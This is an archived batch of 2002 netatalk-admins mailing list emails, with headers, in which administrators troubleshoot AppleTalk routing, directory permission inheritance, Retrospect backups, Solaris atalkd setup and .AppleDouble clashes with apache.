Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA15645
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 09:34:45 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA27244
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 09:34:45 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA27240
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 09:34:44 -0500 (EST)
Received: from acad2.drake.edu (acad2.drake.edu [207.28.190.6])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA27197
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 09:34:43 -0500 (EST)
Received: from CONVERSION-DAEMON.DRAKE.EDU by DRAKE.EDU (PMDF V6.1 #38814)
 id <01KEAOZTDKK0002QAK@DRAKE.EDU> for netatalk-admins@umich.edu; Fri,
 15 Feb 2002 08:34:23 -0500 (CDT)
Received: from dan.lib.drake.edu ([10.2.1.163]) by DRAKE.EDU (PMDF V6.1 #38814)
 with ESMTP id <01KEAOZSZV8K002Z2B@DRAKE.EDU> for netatalk-admins@umich.edu;
 Fri, 15 Feb 2002 08:34:23 -0500 (CDT)
Date: Fri, 15 Feb 2002 08:36:15 -0600 (CST)
From: Dan Ramaley <daniel.ramaley@DRAKE.EDU>
Subject: Re: Re: Netatalk was running before, now broken...
In-reply-to: <3C6CC2A4.57CD6F76@unice.fr>
To: netatalk <netatalk-admins@umich.edu>
Message-id: <01KEAOZT001Y002Z2B@DRAKE.EDU>
MIME-version: 1.0
X-Mailer: Mahogany, 0.63 'Saugus', compiled for Linux 2.4.2-2smp i686
Content-type: TEXT/PLAIN; CHARSET=US-ASCII
Content-transfer-encoding: 7BIT
Content-disposition: INLINE
References: <01KE9VFX9320002RRW@DRAKE.EDU> <3C6CC2A4.57CD6F76@unice.fr>

To make sure the network is good, i plugged an iMac into the same switch
that the netatalk server is plugged into and set up filesharing. From a
different Mac i was able to see the iMac in the chooser just fine. To
further test it i mounted a share and was able to access files within
the share. I ran a utility called CheckNET and it showed the iMac with
an address of 294.99. As i posted in my last message, the netatalk
server appears to be trying to use 220.94. Since both the iMac and the
netatalk server are on the same switch and the iMac works but the
netatalk server does not, i am led to believe that the new router is not
the problem. Are there any other tests i should perform to help clarify
this or to show that the router is in fact the problem? Any other ideas
as to what could be wrong?

> you're problem is really interesting!
> it's probably due to the new router, i had a printer (Lexmark Optra
> C710) using a 
> net.node number (>65000) out of the routing capacity of the router, and
> she was invisible from others users , and i could't do anything but use
> TCP/IP lpr with it.
> But in your system it seems that the appletalk server is in a valid node
> range.
> -- 
> Damien Mattei                                        Phone: +33 (0)4 93 37 76 66
> C.N.R.S / U.N.S.A                                Fax:   +33 (0)4 93 53 30 71
> UMR 6549 Instabilite & Alterations des Genomes        E-mail: mattei@unice.fr
> Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France
> 



------------------------------------------------------------------------
Dan Ramaley
Digital Media Library Specialist
(515) 271-1934
Cowles Library 140, Drake University


From netatalk.administrators-errors@umich.edu  Fri Feb 15 09:45:38 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA16168
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 09:45:38 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA05917
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 09:45:38 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA05915
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 09:45:38 -0500 (EST)
Received: from server-17.tower-15.messagelabs.com (mail15.messagelabs.com [63.210.62.243])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id JAA05899
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 09:45:36 -0500 (EST)
X-VirusChecked: Checked
Received: (qmail 3022 invoked from network); 15 Feb 2002 14:45:35 -0000
Received: from mail.vibe.com (HELO vibe.com) (65.105.250.196)
  by server-17.tower-15.messagelabs.com with SMTP; 15 Feb 2002 14:45:35 -0000
Received: from [207.88.135.6] (HELO stuarthaasxp2)
  by vibe.com (CommuniGate Pro SMTP 3.5.4)
  with ESMTP-TLS id 1146186; Fri, 15 Feb 2002 09:45:29 -0500
Message-ID: <001401c1b62f$6c780e50$a50c10ac@millerpubgroup.com>
From: "Stuart Haas" <shaas@vibe.com>
To: <netatalk-admins@umich.edu>
Cc: <netatalk-devel@lists.sourceforge.net>
References: <20020213193747.A1335@media.umbc.edu> <048a01c1b582$455d6890$c500a8c0@stuarthaaswxp>
Subject: Re: Directories are created with...unexpected permissions
Date: Fri, 15 Feb 2002 09:45:32 -0500
Organization: Vibe/Spin Ventures
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

OK,

So I see that there are only two of us with this problem, but I was able to
duplicate this on an other machine, a standard Redhat 7.2 install with ext3
file systems.

On that note, can anyone confirm, using the latest release, that if you
create a directory from a shell prompt with permissions 2770, that if you
create a directory under that one that the permissions are inherited along
with the ownership?

This used to work very well!

Thanks,

Stuart



----- Original Message -----
From: "Stuart Haas" <shaas@vibe.com>
To: <netatalk-admins@umich.edu>
Cc: <netatalk-devel@lists.sourceforge.net>
Sent: Thursday, February 14, 2002 1:06 PM
Subject: Re: Directories are created with...unexpected permissions


> Hi -
>
> I have been having the same problem since I upgraded to 1.5.1.1 from the
RPM
> a couple of days ago.  I am running the Redhat 7.2, kernel 2.4.18 Pre9,
with
> the directories mounted on a Reiserfs partition.
>
> It is not a Linux problem, as permissions on a directory are inherited
> properly from a shell prompt, but from a Mac, the permissions are not
> inherited.  And this is really creating problems among users.
>
> I have been running netatalk 1.5 pre 6 for months with no permissions
> problems.
>
> Any clues?
>
> Stuart
>
>
> ----- Original Message -----
> From: "Ray Shaw" <ray@media.umbc.edu>
> To: <netatalk-admins@umich.edu>
> Sent: Wednesday, February 13, 2002 7:37 PM
> Subject: Directories are created with...unexpected permissions
>
>
> >
> > In the hopes of working around Quark (I think you know what I mean), I
> > recently updated our server to netatalk 1.5.1.1 (it was running an old
> > asun version).  In this respect, things seem to be much better now.
> >
> > However, I'm having a problem with directory creation.  All of the
> > directories on the shared bit of the server are mode 2770.  IIRC,
> > netatalk previously created directories beneath these with the same
> > permissions.  This is still what happens if I create directories from
> > the command line.
> >
> > But if I create directories (using the same account) with
> > netatalk, they are mode 0770, meaning that files or directories inside
> > them don't inherit the correct group, and creating access problems
> > (like the production assistants unable to get at directories created
> > by the Photo Editor).
> >
> > Have other people run into this problem?  Is there a good solution?
> > I'm running Debian Potato, and compiled netatalk 1.5.1.1 with the
> > following options:
> >
> > ./configure --enable-fhs --enable-timelord --enable-lastdid
> > --with-flock-locks --with-tcp-wrappers
> >
> > Thanks,
> >
> >
> > --
> > --Ray
> >
> > -----------------------------
> > Sotto la panca la capra crepa
> > sopra la panca la capra campa
> >
> >
> > This email has been scanned for all viruses by the MessageLabs SkyScan
> service. http://www.messagelabs.com/
> >
>
>
> This email has been scanned for all viruses by the MessageLabs SkyScan
service. http://www.messagelabs.com/
>
>


This email has been scanned for all viruses by the MessageLabs SkyScan service. http://www.messagelabs.com/

From netatalk.administrators-errors@umich.edu  Fri Feb 15 09:50:21 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA16332
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 09:50:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA03893
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 09:50:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA03882
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 09:50:21 -0500 (EST)
Received: from bocklabs.wisc.edu (bocklabs.wisc.edu [144.92.19.218])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA03863
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 09:50:20 -0500 (EST)
Received: from localhost (dan@localhost)
	by bocklabs.wisc.edu (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id g1FEnOk32315;
	Fri, 15 Feb 2002 08:49:25 -0600
Date: Fri, 15 Feb 2002 08:49:24 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@bocklabs.wisc.edu>
To: Stuart Haas <shaas@vibe.com>
cc: <netatalk-admins@umich.edu>, <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] Re: Directories are created with...unexpected
 permissions
In-Reply-To: <001401c1b62f$6c780e50$a50c10ac@millerpubgroup.com>
Message-ID: <Pine.LNX.4.33.0202150847420.32271-100000@bocklabs.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I use 2770 on my directories (with SuSE 7.3) and files inherit the group
perms but the original creator of the file is still the owner.

-Dan

On Fri, 15 Feb 2002, Stuart Haas wrote:

> OK,
>
> So I see that there are only two of us with this problem, but I was able to
> duplicate this on an other machine, a standard Redhat 7.2 install with ext3
> file systems.
>
> On that note, can anyone confirm, using the latest release, that if you
> create a directory from a shell prompt with permissions 2770, that if you
> create a directory under that one that the permissions are inherited along
> with the ownership?
>
> This used to work very well!
>
> Thanks,
>
> Stuart
>
>
>
> ----- Original Message -----
> From: "Stuart Haas" <shaas@vibe.com>
> To: <netatalk-admins@umich.edu>
> Cc: <netatalk-devel@lists.sourceforge.net>
> Sent: Thursday, February 14, 2002 1:06 PM
> Subject: Re: Directories are created with...unexpected permissions
>
>
> > Hi -
> >
> > I have been having the same problem since I upgraded to 1.5.1.1 from the
> RPM
> > a couple of days ago.  I am running the Redhat 7.2, kernel 2.4.18 Pre9,
> with
> > the directories mounted on a Reiserfs partition.
> >
> > It is not a Linux problem, as permissions on a directory are inherited
> > properly from a shell prompt, but from a Mac, the permissions are not
> > inherited.  And this is really creating problems among users.
> >
> > I have been running netatalk 1.5 pre 6 for months with no permissions
> > problems.
> >
> > Any clues?
> >
> > Stuart
> >
> >
> > ----- Original Message -----
> > From: "Ray Shaw" <ray@media.umbc.edu>
> > To: <netatalk-admins@umich.edu>
> > Sent: Wednesday, February 13, 2002 7:37 PM
> > Subject: Directories are created with...unexpected permissions
> >
> >
> > >
> > > In the hopes of working around Quark (I think you know what I mean), I
> > > recently updated our server to netatalk 1.5.1.1 (it was running an old
> > > asun version).  In this respect, things seem to be much better now.
> > >
> > > However, I'm having a problem with directory creation.  All of the
> > > directories on the shared bit of the server are mode 2770.  IIRC,
> > > netatalk previously created directories beneath these with the same
> > > permissions.  This is still what happens if I create directories from
> > > the command line.
> > >
> > > But if I create directories (using the same account) with
> > > netatalk, they are mode 0770, meaning that files or directories inside
> > > them don't inherit the correct group, and creating access problems
> > > (like the production assistants unable to get at directories created
> > > by the Photo Editor).
> > >
> > > Have other people run into this problem?  Is there a good solution?
> > > I'm running Debian Potato, and compiled netatalk 1.5.1.1 with the
> > > following options:
> > >
> > > ./configure --enable-fhs --enable-timelord --enable-lastdid
> > > --with-flock-locks --with-tcp-wrappers
> > >
> > > Thanks,
> > >
> > >
> > > --
> > > --Ray
> > >
> > > -----------------------------
> > > Sotto la panca la capra crepa
> > > sopra la panca la capra campa
> > >
> > >
> > > This email has been scanned for all viruses by the MessageLabs SkyScan
> > service. http://www.messagelabs.com/
> > >
> >
> >
> > This email has been scanned for all viruses by the MessageLabs SkyScan
> service. http://www.messagelabs.com/
> >
> >
>
>
> This email has been scanned for all viruses by the MessageLabs SkyScan service. http://www.messagelabs.com/
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
>


From netatalk.administrators-errors@umich.edu  Fri Feb 15 09:52:31 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA16413
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 09:52:31 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA27783
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 09:52:31 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA27779
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 09:52:31 -0500 (EST)
Received: from mail1.vcu.edu (mail1.vcu.edu [128.172.1.134])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA27677
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 09:52:26 -0500 (EST)
Received: from [128.172.20.37] ([128.172.20.37])
	by mail1.vcu.edu (8.12.0/8.11.1) with ESMTP id g1FEqII3149362;
	Fri, 15 Feb 2002 09:52:18 -0500
Mime-Version: 1.0
X-Sender: rethiema@mail1.vcu.edu (Unverified)
Message-Id: <p05100300b892cf0ed08c@[128.172.20.37]>
In-Reply-To: <v03102802b8928d61bf25@[172.20.192.150]>
References: 
  <Pine.LNX.4.10.10202141047210.23388-100000@st-hubbins.hbconcoctions.com>
 <v03102802b8928d61bf25@[172.20.192.150]>
Date: Fri, 15 Feb 2002 09:52:16 -0500
To: Simon Hobson <shobson-lists@colony.com>, paul@wakawaka.com (Paul Sander),
        sth@hbconcoctions.com, netatalk-admins@umich.edu
From: Robert Thiemann <rethiema@vcu.edu>
Subject: Re: Backing up a Netatalk share.
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>The problem with both of these ideas is that Retrospect does NOT 'log in'
>to the server using anything other than AFP. I don't think it even supports
>'non-standard' UAMs (I certainly found that it won't use the Microsoft UAM
>to access an NT server).
>
>Ie it :
>
>* Makes an AFP connection to the server (over IP or AppleTalk as appropriate).
>
>* Copies whatever files are required to be copied according to the rules of
>the script it is executing, and the access priviledges it has.
>
>* Closes the connection.
>
>As far as I know, there is NO method whereby you can insert some extra
>layer in between.

My line of reasoning exactly. Plus the .AppleDouble file will become 
a known irritant when i have to go in and grad just _one_ file off of 
a back up tape. Retrospect handles all of it for me.

Since I manually log in to the server from the Retrospect machine 
anyway, basically, what I want to know is, is there any _Real_ 
problem with me leaving shares on my Retrospect box mounted as root? 
(Please read the previous line carefully) Aside from someone breaking 
into my server closet, and stealing files that way (which, if they've 
broken in, odds are they're going to get what they want regardless), 
does it:
A) provide any other potential security risks that I need to be aware 
of? I will _not_ be setting to server to keep the password. The 
shares are mounted at boot, and it prompts for the password.

b) Is there a better way?

It's my understanding there's no way to make another user who has the 
ability to ignore file permissions, but not actually run anything, so 
I can't create that. And since I can't log into the same server from 
the Retrospect server under different accounts to the same server 
(not without making one hell of an Apple Script). I'm really wanting 
to back this thing up as close to the "mac way" as possible. I'm 
aware of the wonders of tar, and amanda, but I'm also aware of the 
nightmares caused by back up programs that don't realize that each 
individual mac file has it's own resource fork, and not some resource 
fork collective called .AppleDouble.



-- 
Robert Thiemann
Network Engineer
VCU Adcenter
rethiema@vcu.edu

From netatalk.administrators-errors@umich.edu  Fri Feb 15 09:59:40 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA16906
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 09:59:40 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA05133
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 09:59:40 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA05127
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 09:59:40 -0500 (EST)
Received: from welt.gekko.de (welt.gekko.de [195.37.190.38])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA05107
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 09:59:38 -0500 (EST)
Received: from consul.gekko.de (C325BE1F.pool.gekko.de [195.37.190.31])
	by welt.gekko.de (8.9.3+Sun/8.9.3) with ESMTP id QAA06358
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 16:03:25 +0100 (MET)
Message-Id: <5.1.0.14.2.20020215160025.00b76828@welt.gekko.de>
X-Sender: pop.andreas@welt.gekko.de
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Fri, 15 Feb 2002 16:01:26 +0100
To: netatalk-admins@umich.edu
From: Andreas =?iso-8859-1?Q?Westend=F6rpf?= <andreas@gekko.de>
Subject: Re: atalkd under solaris 8
In-Reply-To: <3C6D1D4E.78211AB7@euc.de>
References: <5.1.0.14.2.20020215153229.00b6f620@welt.gekko.de>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA16906

hi again!
the solaris box has only one nic.

cya

andreas

At 15:38 15.02.2002 +0100, you wrote:
>Hallo,
>
>kaann es sein, dass es mehrere Netzwerkkarten / Interfaces auf der sun gibt?
>
>versuche folgendes, schreib in die atalkd.conf folgende zeile:
>
>Bsp.:
>eth0 -zone admin seed eth1 -zone admin
>
>also hme0 -zone admin seed hme1 -zone admin
>
>dann starte atalkd. normalerweise (jedenfalls unter linux) stoppelt sich
>die kiste dann die zeile zurecht und weiss wo sie hingehört.
>
>Andreas Westendörpf wrote:
> >
> > hello folks!
> > i'm currently having some difficulties configuring an appletalk fileserver
> > under solaris8. i tried to get netatalk v1.5.1.1 working. what a pain in
> > the a**. finally it compiled without errors, but then, when i start atalkd
> > it says:
> > "atalkd: zero interfaces, exiting."
> >
> > yes, i did create a file in /usr/local/atalkd/etc/ called atalkd.conf with
> > the name of my ethernet-device in it (hme0).
> > but still it doesn't work. same effect when i remove the atalkd.conf file.
> >
> > yes, i read it and configured it the right way. means:
> > - added "ddp tpi_clts - appletalk ddp /dev/ddp -" to /etc/netconfig
> > - tried "make -f Makefile.kernel kinstall" but it didn't work in the root
> > of the source directory. i went in sys/solaris and there it worked out.
> > - in /usr/local/atalk/atalk/etc/atalkd.conf i added hme0 (my ethernet 
> device)
> >
> > but atalkd still starts up saying "zero interfaces, exiting.".
> > no change, even if i remove atalkd.conf
> >
> > anybody got a clue?
> >
> > are there any other appletalk-servers for servering basic apple macintosh
> > file and print services?
> >
> > tia
> >
> > andreas
> >
> > please help. it's urgent
> > tia
> > andreas
>
>--
>
>
>mit freundlichen grüssen
>
>........................................................
>
>Mac Conin                        Taubengasse 9
>                                  D 50676 Koeln
>Neue Telefonnummern!....................................
>CONIN - Agentur                  tel : +49-221-58 007-10
>EUC Online Service GmbH          tel : +49-221-58 007-20
>punktum postscript-Service       tel : +49-221-58 007-70
>Fax Zentrale                     tel : +49-221-58 007-58
>........................................................




From netatalk.administrators-errors@umich.edu  Fri Feb 15 10:02:43 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA17038
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 10:02:43 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA23327
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 10:02:43 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA23307
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 10:02:42 -0500 (EST)
Received: from eddings.acpub.duke.edu (eddings.acpub.duke.edu [152.3.233.76])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA23282
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 10:02:41 -0500 (EST)
Received: from [152.16.196.114] (dhcp-16-196-114.studentaffairs.duke.edu [152.16.196.114]) 
	by eddings.acpub.duke.edu (8.11.5/8.11.3/Duke-5.0.0) with ESMTP id g1FF2eV02430;
	Fri, 15 Feb 2002 10:02:40 -0500 (EST)
User-Agent: Microsoft-Entourage/10.0.1.1705
Date: Fri, 15 Feb 2002 10:02:39 -0500
Subject: Disconnect from OSX (is this a known issue)?
From: Kyle Johnson <kyle.johnson@duke.edu>
To: <netatalk-admins@umich.edu>
Message-ID: <B8928D3F.79C6%kyle.johnson@duke.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-Virus-Scanned: by amavisd-milter, Duke University (http://amavis.org/)

I'm running Netatalk 1.5.1.1 on Redhat Linux 7.2.  Previously we had the
1.5pre2 release (I think that's what Redhat is still shipping by default).
The problem I am having with both versions is that I can't maintain a mount
on my OSX 10.1.2 box.  I can select the server either via URL or the network
browser, and I get authenticated, but after I select the volume I want to
mount I immediately get a message saying:

  The fileserver <servername> has unexpectedly closed down.

Is there a configuration change that needs to be made, or does this just not
work.  I have feeling this has been asked before, but since there's no
searchable list archive I could find...  '-)

Thanks.

/kyle
---
Kyle Johnson                                     kyle.johnson@duke.edu
Manager, Information Systems        http://www.studentaffairs.duke.edu
Duke University Student Affairs
-----------------------------------------------------------------------
If it's in stock, we've got it.


From netatalk.administrators-errors@umich.edu  Fri Feb 15 10:50:52 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA20123
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 10:50:52 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA04524
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 10:50:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA04514
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 10:50:51 -0500 (EST)
Received: from colony.com (colonyuk.demon.co.uk [158.152.173.186])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA04416
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 10:50:48 -0500 (EST)
Received: from [172.20.192.150] (172.20.192.150) by colony.com with ESMTP
 (Eudora Internet Mail Server 2.2); Fri, 15 Feb 2002 15:42:41 +0100
X-Sender: shobson-lists@mail.colony.com
Message-Id: <v03102804b892dc795700@[172.20.192.150]>
In-Reply-To: <p05100300b892cf0ed08c@[128.172.20.37]>
References: <v03102802b8928d61bf25@[172.20.192.150]>  
 <Pine.LNX.4.10.10202141047210.23388-100000@st-hubbins.hbconcoctions.com>
 <v03102802b8928d61bf25@[172.20.192.150]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 15 Feb 2002 15:42:36 +0000
To: netatalk-admins@umich.edu
From: Simon Hobson <shobson-lists@colony.com>
Subject: Re: Backing up a Netatalk share.

Robert Thiemann wrote:

>Since I manually log in to the server from the Retrospect machine
>anyway

Another thought, has anyone done any experiments to see what happens to
permissions if you have to restore files from Retrospect ? (says he
thinking "it's about time I looked at this myself" !)

Simon

-
Simon Hobson, Technical Services Engineer
Colony Gift Corporation Limited
Lindal in Furness, Ulverston, Cumbria, LA12 0LD
Tel 01229 461100, Fax 01229 461101

Registered in England No. 1499611
Regd. Office : 100 New Bridge Street, London, EC4V 6JA.



From netatalk.administrators-errors@umich.edu  Fri Feb 15 11:10:50 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA20968
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 11:10:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA03267
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 11:10:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA03250
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 11:10:49 -0500 (EST)
Received: from rhenium.btinternet.com (rhenium.btinternet.com [194.73.73.93])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA03169
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 11:10:46 -0500 (EST)
Received: from host213-1-174-86.btinternet.com ([213.1.174.86] helo=nexus.local.net)
	by rhenium.btinternet.com with esmtp (Exim 3.22 #8)
	id 16bkwe-0003re-00
	for netatalk-admins@umich.edu; Fri, 15 Feb 2002 16:10:44 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id PAA15348
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 15:24:30 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100305b892d686059f@[10.0.1.10]>
X-Mailer: Eudora for Macintosh!
Date: Fri, 15 Feb 2002 15:24:27 +0000
To: Netatalk List <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: AppleDouble & apache
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

I have a shared folder that I want to specify as containing 
configuration files to be included as part of apache's configuration. 
The trouble is that apache parses the .AppleDouble folder and 
everything in it and none of it makes any sense in terms of apache, 
so understandably it fails to start. I have found that if I ensure it 
is empty and not writable by the user who has it mounted (so nothing 
can be saved in there) then apache is happy with that empty folder.

But, I cannot edit these files on the Mac side (the whole point of 
mounting it) since BBEdit HAS to save stuff in the .AppleDouble 
folder (which it cannot do) so the save fails.

Of course it only applies to this folder which is specified as 
'Include'd in httpd.conf.

Can anyone suggest a way to allow resource data to be saved, yet 
preventing apache from trying to read it as configuration data on 
startup?
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Fri Feb 15 11:11:09 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA21009
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 11:11:09 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1FGB9a19274
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 11:11:09 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1FGB9v19267
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 11:11:09 -0500 (EST)
Received: from rhenium.btinternet.com (rhenium.btinternet.com [194.73.73.93])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1FGB7Y19244
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 11:11:07 -0500 (EST)
Received: from host213-1-174-86.btinternet.com ([213.1.174.86] helo=nexus.local.net)
	by rhenium.btinternet.com with esmtp (Exim 3.22 #8)
	id 16bkwf-0003re-00; Fri, 15 Feb 2002 16:10:45 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id PAA15322;
	Fri, 15 Feb 2002 15:14:05 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100304b892d1d5eb4d@[10.0.1.10]>
In-Reply-To: <B8922E5A.B31A%sflist@ihonk.com>
References: <B8922E5A.B31A%sflist@ihonk.com>
X-Mailer: Eudora for Macintosh!
Date: Fri, 15 Feb 2002 15:14:04 +0000
To: Steve Freitas <sflist@ihonk.com>,
        netatalk-admins <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
